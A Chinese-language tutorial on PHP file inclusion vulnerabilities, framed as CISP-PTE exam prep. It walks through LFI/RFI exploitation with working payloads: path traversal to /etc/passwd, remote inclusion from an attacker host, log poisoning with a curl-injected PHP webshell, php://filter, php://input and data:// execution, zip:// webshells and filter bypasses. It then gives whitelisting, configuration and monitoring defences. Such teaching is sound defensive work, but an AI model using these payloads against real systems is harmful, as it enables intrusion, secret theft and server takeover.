文件包含漏洞实战:从原理到防御的渗透测试指南
2026/7/27 15:28:42 网站建设 项目流程

1. 项目概述:从CISP-PTE认证看文件包含漏洞的实战价值

如果你正在备考CISP-PTE(Certified Information Security Professional - Penetration Testing Engineer,注册信息安全专业人员-渗透测试工程师)认证,或者已经是一名在Web安全领域摸爬滚打的渗透测试工程师,那么“文件包含漏洞”这个知识点,你一定绕不过去。它不像SQL注入那样“名声在外”,也不像XSS那样“花样百出”,但在实际的渗透测试项目中,文件包含漏洞往往是打开内网大门、获取系统权限的那把“不起眼却异常好用的钥匙”。很多靶场和认证考试,包括CISP-PTE的实操考核,都会把它作为一个核心的、必须掌握的漏洞类型。

为什么它如此重要?因为文件包含漏洞的本质,是应用程序在动态加载文件时,对用户输入的文件路径或文件名参数控制不严,导致攻击者能够包含并执行服务器上的任意文件,甚至是远程服务器上的恶意脚本。这种漏洞的利用方式灵活,危害极大,轻则读取敏感配置文件(如数据库连接信息),重则直接获取Webshell,进而控制整个服务器。对于渗透测试工程师而言,精准地发现、利用并最终帮助客户修复这类漏洞,是衡量其技术功底和实战能力的关键指标之一。本文就将以一个资深渗透测试工程师的视角,结合CISP-PTE的知识体系要求,深入拆解文件包含漏洞的成因、实战利用手法、高级绕过技巧,并最终落脚到企业级防御策略的构建上。无论你是备考学员,还是希望提升实战能力的安全从业者,这篇文章都将为你提供一套从原理到实战,再到防御的完整“作战手册”。

2. 漏洞原理深度解析:为什么参数会“失控”?

要打好一场仗,必须先了解你的敌人。文件包含漏洞之所以存在,根源在于程序开发中的一种常见设计模式——“动态包含”。为了提升代码的复用性和可维护性,开发者会将一些公共函数、页面头部、尾部等代码片段独立成文件(如header.php,config.inc.php),然后在主程序文件中通过特定的函数去“包含”它们。

2.1 核心机制:包含函数的工作原理

在PHP中,最常用的包含函数有四个:include(),require(),include_once(),require_once()。它们的区别主要在于错误处理(require在包含失败时会产生致命错误并终止脚本,include只会产生警告)和重复包含检查(_once后缀会检查文件是否已被包含过)。但就漏洞原理而言,它们的行为是一致的。

假设有一个简单的页面index.php,其代码如下:

<?php $page = $_GET['page']; // 从URL参数获取要包含的页面名 include($page . '.php'); // 动态包含对应的PHP文件 ?>

设计意图是:当用户访问index.php?page=home时,程序会包含home.php文件并显示其内容;访问index.php?page=about时,则包含about.php

漏洞产生的关键点在于第2行:$page = $_GET['page'];。程序直接将用户通过GET请求传递的page参数,未经任何过滤或校验,拼接上.php后缀后,直接送入了include()函数。这就是“信任了不可信的输入”。

2.2 漏洞利用的两种基本形式

基于包含文件的来源,文件包含漏洞主要分为两类:

本地文件包含:攻击者可以包含服务器本地的文件。

  • 利用示例index.php?page=../../../../etc/passwd
  • 原理:通过目录遍历(../)跳出Web应用目录,直接读取系统敏感文件。这里%00是空字符的URL编码,在某些旧版本PHP中可以用来截断后面的.php后缀,使得../../../../etc/passwd%00被当作最终文件名。虽然PHP后续版本修复了空字符截断,但目录遍历本身依然是有效的。

远程文件包含:攻击者可以包含远程服务器上的文件。

  • 利用示例index.php?page=http://attacker.com/shell.txt
  • 原理:当PHP配置项allow_url_include设置为On时(默认是Off),includerequire函数可以接受HTTP或FTP等URL作为参数,去包含远程文件。攻击者可以在自己控制的服务器上放置一个包含PHP代码的文本文件,诱使目标服务器去包含并执行它,从而直接获得Webshell。

注意:在实际的渗透测试和CISP-PTE考试环境中,远程文件包含的利用条件(allow_url_include=On)越来越难以满足,因为这是极高的安全风险。因此,实战中更多聚焦于本地文件包含的利用和绕过。

2.3 为什么开发者会写出漏洞代码?

除了安全意识不足,还有几个常见的技术“陷阱”:

  1. 模块化设计的副作用:为了快速开发,大量使用动态包含来构建页面,却忽略了参数过滤。
  2. 配置文件的诱惑:为了方便,将数据库密码、API密钥等写在配置文件(如config.inc.php)中,一旦该文件路径被包含漏洞读取,后果严重。
  3. 框架或CMS的定制化:在修改成熟框架或内容管理系统时,开发者可能会在不经意间引入不安全的包含逻辑。

理解这些原理,不仅能帮助我们更快地发现漏洞,更能让我们在编写修复方案时,直击要害。

3. 实战利用手法全解:从信息搜集到GetShell

纸上谈兵终觉浅。下面我们模拟一个完整的渗透测试流程,看看如何将一个文件包含漏洞的价值“榨干”。

3.1 漏洞发现与初步验证

假设目标URL为:http://target.site/index.php?file=news

第一步:参数探测尝试修改file参数,观察响应变化。

  • index.php?file=news-> 正常显示新闻页。
  • index.php?file=about-> 显示“关于我们”页(假设存在about.php)。
  • index.php?file=../../../../etc/passwd-> 如果返回了Linux系统的用户列表,则LFI漏洞存在。如果返回了错误页面或空白,可能后缀被固定或存在过滤。

第二步:后缀处理判断如果直接遍历失败,尝试判断后端如何处理文件名。

  • index.php?file=news(正常)
  • index.php?file=news.php(如果也正常,说明后端可能自动加后缀,也可能不加)
  • index.php?file=news.txt(如果返回了news.txt的内容,说明后端可能不检查后缀,直接包含;如果报错,说明有后缀检查或文件不存在)

第三步:利用日志文件注入这是LFI最经典、最实用的技巧之一。当无法直接包含远程文件,也找不到有价值的静态文件时,服务器日志成为了我们的跳板。

  1. 找到日志路径:通常为/var/log/apache2/access.log(Apache) 或/var/log/nginx/access.log(Nginx)。可以通过包含漏洞尝试读取确认。
  2. 污染日志:我们向服务器发送一个包含PHP代码的HTTP请求,这段代码会被记录在access.log中。
    curl -H "User-Agent: <?php system(\$_GET['cmd']);?>" http://target.site/
    这个请求的User-Agent头被我们篡改成了PHP代码。
  3. 包含日志文件执行代码:利用LFI漏洞去包含这个日志文件。
    http://target.site/index.php?file=../../../../var/log/apache2/access.log
    此时,日志文件中的PHP代码会被服务器解析执行。我们可以在URL中传递cmd参数来执行系统命令:
    http://target.site/index.php?file=../../../../var/log/apache2/access.log&cmd=id
    如果成功,页面会返回uid=33(www-data) gid=33(www-data) groups=33(www-data)之类的信息,证明命令执行成功。

实操心得:日志文件通常很大,直接包含可能导致超时或内存耗尽。一个技巧是先通过包含漏洞读取/proc/self/environ文件(存储环境变量),其中会包含HTTP_USER_AGENT,这样我们可以注入更短的代码。或者,更稳定的是利用PHP伪协议

3.2 高级武器:PHP伪协议的妙用

PHP内置了一系列伪协议,像瑞士军刀一样,极大扩展了文件包含漏洞的利用面。allow_url_include控制的是远程URL(http://),而allow_url_fopen控制的是伪协议(如php://),后者默认常为On

  • php://filter—— 文件读取神器用于读取文件源码,特别是当文件具有可执行后缀(如.php)时,直接包含会执行代码,而我们只想看源码。

    index.php?file=php://filter/read=convert.base64-encode/resource=config.php

    这个Payload会将config.php文件的内容经过base64编码后输出。我们拿到base64字符串,解码即可得到纯净的源代码,避免了PHP代码被直接执行。这对于窃取数据库配置、关键业务逻辑代码至关重要。

  • php://input—— 执行任意代码流需要allow_url_include=On。它将请求的原始POST数据作为文件内容来包含。

    POST /index.php?file=php://input HTTP/1.1 ... <?php system('whoami');?>

    发送这样一个POST请求,POST体中的PHP代码就会被执行。这比污染日志更直接、更可靠。

  • data://—— 内联代码执行同样需要allow_url_include=On。它允许直接在URL中嵌入数据。

    index.php?file=data://text/plain,<?php phpinfo();?> // 或者base64编码避免特殊字符问题 index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

    这相当于一个“自包含”的Webshell,无需外部文件。

在CISP-PTE实战中,考官常常会设置一些过滤规则(如过滤../httpphp等关键词),来考察你对伪协议和编码绕过的掌握程度。例如,如果过滤了“php”字符串,你可以尝试使用php://filter的变体,或者用大写、双写、嵌套编码等方式绕过。

3.3 从LFI到稳定的Webshell

命令执行是暂时的,一个稳定的Webshell才是持久控制的保障。通过文件包含漏洞写入Webshell有多种方法:

  1. 利用文件上传功能:这是最理想的场景。寻找网站任意文件上传点(如头像上传),上传一个图片马(将PHP代码嵌入图片的EXIF信息中),然后通过LFI漏洞去包含这个图片文件的路径,从而执行其中的代码。
  2. 写入日志或临时文件:如前所述,通过污染日志文件,再将日志文件包含执行。也可以尝试包含/proc/self/fd/下的文件描述符,或PHP会话文件(/tmp/sess_[sessionid]),如果会话数据可控的话。
  3. 利用PHP伪协议zip://phar://:先上传一个包含Webshell的ZIP压缩包(shell.php打包成shell.zip),然后通过zip://shell.zip%23shell.php(注意#需要编码为%23)来包含并执行其中的PHP文件。phar://协议类似,常用于反序列化攻击,但也能用于包含压缩包内文件。

4. 常见过滤绕过技巧实录

在实际的渗透测试和CTF比赛中,直接利用“裸”的LFI漏洞的情况越来越少。安全防护措施会设置层层过滤。下面记录几种常见的绕过姿势。

4.1 路径遍历过滤绕过

  • 过滤../
    • 绝对路径:直接使用/etc/passwd(如果知道Web根目录在/var/www/html,那么/etc/passwd就是绝对路径)。
    • 编码绕过..%2f(/的URL编码),..%252f(双重URL编码),..\(Windows目录分隔符,在PHP中某些环境下可能被当作/处理)。
    • 超长路径....//....//....//etc/passwd,某些简单的过滤可能只替换一次../,双重嵌套可能绕过。

4.2 后缀限制绕过

  • 空字节截断:在PHP版本 < 5.3.4 时有效。index.php?file=../../../../etc/passwd%00%00会使后面的.php后缀被忽略。现已基本失效
  • 路径长度截断:在PHP版本 < 5.3 且 magic_quotes_gpc=off 时,超长的文件名可能导致后缀被截断。现已基本失效
  • 利用?#index.php?file=../../../../etc/passwd?.php?在URL中表示参数开始,有时服务器端的代码逻辑在拼接后缀时,会错误地将?.php整体当作后缀名的一部分,而文件系统读取到?时会将其视为无效字符而停止,从而读取passwd文件。#也有类似效果(需编码为%23)。
  • 利用PHP伪协议:这是目前最主流的绕过方式。无论后端如何添加后缀,php://filter/read=convert.base64-encode/resource=index这样的Payload,其目标是resource指定的index文件,后面的.php后缀已经无关紧要了。

4.3 关键词过滤绕过

  • 大小写混淆pHp://Data://
  • 双写绕过:如果过滤规则是删除php字符串,可以尝试pphphp://,删除后变成php://
  • 利用协议嵌套或编码
    • php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php使用字符集转换过滤器。
    • 对协议部分进行base64编码再解码执行(需要配合其他漏洞实现,较为复杂)。

一个综合绕过案例: 假设代码过滤了../httpphp字符串,并强制添加.html后缀。

原始Payload: index.php?file=../../../../etc/passwd 绕过思路: 1. 使用绝对路径:/etc/passwd 2. 但会被加上.html后缀 -> /etc/passwd.html (文件不存在) 3. 使用php://filter绕过后缀:php://filter/read=convert.base64-encode/resource=/etc/passwd 4. 但“php”被过滤 -> 使用大写 PhP:// 或双写 pphphp:// 5. 最终Payload可能为:index.php?file=PhP://filter/read=convert.base64-encode/resource=/etc/passwd

后端接收到PhP://filter...,过滤函数可能不识别大小写变体,或者被双写绕过,最终php://协议生效,读取/etc/passwd文件并base64输出,成功绕过了目录遍历过滤和后缀限制。

5. 企业级防御策略构建

作为一名渗透测试工程师,发现漏洞只是第一步,更重要的是能提供清晰、有效、可落地的修复方案。这才是CISP-PTE认证和实际工作中价值的真正体现。防御文件包含漏洞,需要从开发、测试、部署、运维多个环节入手。

5.1 安全开发规范(治本之策)

  1. 避免动态包含用户输入:这是最根本的原则。如果可能,使用静态包含或硬编码文件映射。

    // 不安全 $page = $_GET['page']; include($page . '.php'); // 安全 - 白名单机制 $allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('404.php'); }
  2. 严格限制包含路径:如果必须动态包含,应将包含路径固定在一个安全的目录内,并使用绝对路径。

    $base_dir = '/var/www/html/includes/'; $page = basename($_GET['page']); // basename()函数去除路径部分,只保留文件名 $file = $base_dir . $page . '.php'; if (file_exists($file) && is_file($file)) { include($file); }

    basename()可以防止目录遍历,file_exists()is_file()检查进一步确保目标是一个存在的普通文件。

  3. 禁用危险的PHP配置:在php.ini中,务必确保:

    allow_url_fopen = Off allow_url_include = Off

    这将彻底关闭远程文件包含和部分危险伪协议的支持。虽然可能影响某些特定功能,但从安全角度看利远大于弊。

5.2 安全测试与加固(上线前检查)

  1. 代码审计:将“文件包含”作为代码审计的必查项。重点关注include,require,include_once,require_once函数,追踪其参数来源是否用户可控。
  2. 渗透测试:在测试环境进行完整的渗透测试,使用自动化工具(如Burp Suite Scanner)和手动测试,尝试各种LFI/RFI的Payload。
  3. Web应用防火墙规则:配置WAF规则,拦截包含../..\php://data://http://等特征的恶意请求。但要注意,这只能作为辅助手段,不能替代安全的代码。

5.3 运维环境加固(纵深防御)

  1. 最小权限原则:运行Web服务的用户(如www-data)应具有最小必要的文件系统权限。确保其无法读取/etc/passwd/etc/shadow、日志目录(除非必要)、应用程序源代码目录之外的系统文件。
  2. 日志文件安全:将Web服务日志目录的权限设置为仅root可读,或移动到Web用户无法访问的目录。这直接切断了通过包含日志文件GetShell的路径。
  3. 定期更新与补丁:保持PHP语言版本、Web服务器(Nginx/Apache)及所用框架(如Laravel, ThinkPHP)的最新稳定版,及时修复已知的安全漏洞。

5.4 应急响应与监控

  1. 入侵检测:在服务器上部署HIDS,监控对/proc/self/environ/var/log/下日志文件的异常读取行为,监控Web目录下非预期的文件创建(如webshell)。
  2. 访问日志分析:定期分析Web访问日志,寻找包含可疑字符串(如../,php://input,base64_decode)的请求,这可能是攻击尝试的痕迹。

文件包含漏洞的防御是一个系统工程,从一行代码的编写,到整个服务器的配置,环环相扣。作为渗透测试工程师,我们的报告不应仅仅指出“这里有个LFI漏洞”,而应清晰地阐述其原理、复现步骤、潜在危害,并给出如上所述覆盖开发、测试、运维全生命周期的修复与加固建议。这才是专业性的体现,也是CISP-PTE认证所倡导的“攻防一体”的安全思维。在实战中,我习惯于在报告中将漏洞利用的截图、证明危害的命令执行结果,与具体的代码修复建议、配置修改命令一一对应,让开发人员和运维人员能够毫不费力地理解问题所在并实施修复,这才是安全工作的最终价值。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询